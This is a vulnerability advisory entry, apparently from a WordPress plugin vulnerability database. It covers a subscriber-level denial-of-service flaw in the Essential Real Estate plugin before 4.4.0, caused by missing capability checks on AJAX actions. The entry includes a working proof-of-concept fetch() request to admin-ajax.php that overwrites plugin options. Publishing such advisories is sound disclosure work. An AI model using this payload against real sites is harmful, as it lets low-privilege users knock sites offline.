WordPress Plugin Vulnerabilities
Essential Real Estate < 4.4.0 - Subscriber+ Denial of Service via Arbitrary Option Update
Description
The plugin does not apply proper capability checks on its AJAX actions, which among other things, allow attackers with a subscriber account to conduct Denial of Service attacks.
Proof of Concept
1. login, and visit https://vulnerable-site.tld/wp-admin/profile.php?action=delete 2. run the following in your browser console: fetch("/wp-admin/admin-ajax.php?action=gsf_save_options", {"headers": {"content-type": "application/x-www-form-urlencoded",},"body": `_wpnonce=${GSF_META_DATA['nonce']}&_current_preset=template`,"method": "POST",}).then((response) => {return response.text(); }).then((data) => {console.log(data);}) The same can be achieved via other AJAX actions in the plugin, like "gsf_import_theme_options".
Affects Plugins
References
CVE
Classification
Type
NO AUTHORISATION
OWASP top 10
CWE
Miscellaneous
Original Researcher
Krzysztof Zając (CERT PL)
Submitter
Krzysztof Zając (CERT PL)
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-12-18 (about 4 months ago)
Added
2023-12-18 (about 4 months ago)
Last Updated
2023-12-18 (about 4 months ago)